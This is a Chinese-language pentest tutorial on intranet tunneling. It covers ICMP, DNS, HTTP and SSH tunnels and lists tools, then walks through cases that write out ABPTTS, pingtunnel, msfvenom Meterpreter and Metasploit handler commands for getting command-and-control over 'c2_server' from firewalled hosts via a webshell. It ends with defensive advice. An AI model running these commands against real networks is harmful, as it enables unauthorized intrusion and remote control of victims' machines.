内网渗透之内网穿透
字数 1841 2025-08-25 22:58:47
内网渗透之内网穿透技术详解
0x00 内网穿透原理概述
内网穿透是指利用各种隧道技术,以网络防火墙允许的协议,绕过网络防火墙的封锁,实现访问被封锁的目标网络。
隧道技术是一种通过使用互联网络的基础设施在网络之间传递数据的方式,其核心过程包括:
- 数据封装:将原始数据帧或包重新封装在新的包头中
- 数据传输:通过公共互联网络进行路由
- 数据解包:到达终点后解包并转发到最终目的地
0x01 隧道技术分类
按协议层分类
1. 网络层隧道
- ICMP隧道:利用ping等ICMP协议进行数据传输
- 特点:通常被防火墙放行,隐蔽性较好
2. 传输层隧道
- TCP/UDP隧道:直接建立TCP或UDP连接
- 特点:稳定性高,但可能被防火墙拦截
3. 应用层隧道
- HTTP隧道:通过HTTP协议传输数据
- DNS隧道:通过DNS查询/响应传输数据
- SSH隧道:通过SSH连接传输数据
- 特点:利用常见应用协议,隐蔽性强
0x02 内网主机出网方式分析
1. ICMP协议出网
- 能ping通外网主机
- 通常都能出网,隐蔽性较好
2. 特定TCP/UDP端口出网
- 常见放行端口:22(SSH)、53(DNS)、80(HTTP)、443(HTTPS)、3389(RDP)
- 原因:管理员配置错误或偷懒
3. 特定应用层协议出网
- HTTP、SSH、DNS等协议
- 可能有域名白名单限制
0x03 内网主机入网方式分析
1. ICMP协议入网
- 能ping通目标主机
2. 特定TCP/UDP端口入网
- NAT端口映射到内网服务
3. 特定应用层协议入网
- HTTP反向代理
- 通常加WAF审查流量
0x04 常用内网穿透工具
网络层隧道工具
- icmpsh:通过ICMP反弹cmd(不稳定,不推荐)
- icmptunnel:基于ICMP的VPN(需要root权限,动静大)
- pingtunnel:TCP/UDP/SOCKS5 over ICMP(推荐)
- 速度快,稳定
- client模式无需管理员权限
- 跨平台
传输层隧道工具
- netcat:网络瑞士军刀
- powercat:PowerShell版netcat
- socat:支持流量记录转发
- netsh:Windows自带网络配置工具
- lcx:经典端口转发工具
- NATBypass:lcx的Golang实现
- iox:类似lcx/ew,支持UDP转发
应用层隧道工具
- dnscat2:DNS隧道+C2框架
- dns2tcp:TCP over DNS
- iodine:IPv4 over DNS
- reGeorg:SOCKS over HTTP
- Neo-reGeorg:reGeorg重构版
- reDuh:TCP over HTTP(不稳定)
- Tunna:TCP/SOCKS over HTTP
- ABPTTS:TCP over HTTP(稳定,支持加密)
- EarthWorm/Termite:多级SOCKS代理
- Venom:多级代理工具
- ssocks:小巧的socks工具
- s5.go:Go语言编写socks服务
- SSH隧道:
- 本地转发:
ssh -L - 远程转发:
ssh -R - 动态转发:
ssh -D
- 本地转发:
0x05 实战案例
案例1:上线零出网内网主机
场景:
- 仅有HTTP反向代理入网的web应用通道
- ICMP、TCP/UDP、DNS等均不能出网
方案:
使用ABPTTS构建TCP over HTTP隧道
步骤:
- 配置ABPTTS环境:
pip install httplib2 pycrypto python abpttsfactory.py -o server - 上传server脚本到web服务器
- 客户端运行:
python abpttsclient.py -c server/config.txt -u "http://target/abptts.aspx" -f 127.0.0.1:7777/127.0.0.1:8888 - 生成bind类型payload:
msfvenom -p windows/meterpreter/bind_tcp rhost=127.0.0.1 lport=8888 -f exe -o meterpreter.exe - 通过webshell上传执行
- MSF监听:
use exploit/multi/handler set payload windows/meterpreter/bind_tcp set rhost 127.0.0.1 set lport 7777 run
案例2:上线仅ICMP出网内网主机
方案1:ICMP隧道转发TCP
- 服务端:
./pingtunnel -type server -noprint 1 -nolog 1 - 客户端:
pingtunnel.exe -type client -l 127.0.0.1:9999 -s icmp_server -t c2_server:7777 -tcp 1 -noprint 1 -nolog 1 - 生成反向payload:
msfvenom -p windows/meterpreter/reverse_https lhost=127.0.0.1 lport=9999 -f exe -o meterpreter.exe - MSF监听:
set payload windows/meterpreter/reverse_https set lhost 0.0.0.0 set lport 7777
方案2:ICMP隧道转发SOCKS
- 客户端:
pingtunnel.exe -type client -l 127.0.0.1:6688 -s icmp_server -sock5 1 -nolog 1 -noprint 1 - 生成支持SOCKS的payload:
msfvenom -p windows/meterpreter/reverse_https LHOST=c2_server LPORT=8443 HttpProxyType=SOCKS HttpProxyHost=127.0.0.1 HttpProxyPort=6688 -f exe -o meterpreter.exe
0x06 技术总结
- 内网穿透本质是通过各种通信信道实现TCP/UDP数据包转发
- 只要能远程代码执行,就能构建隧道
- 没有现成工具时可自行开发:
- 客户端封装数据写入信道
- 服务端从信道读取并解包转发
- 工具组合示例:
- ABPTTS + SOCKS服务 = reGeorg功能
- 灵活组合工具应对不同场景
0x07 防御建议
- 严格限制出网协议和端口
- 实施应用层协议识别和过滤
- 监控异常ICMP、DNS等流量
- 定期审计防火墙规则
- 对反向代理实施严格访问控制
- 部署网络流量分析系统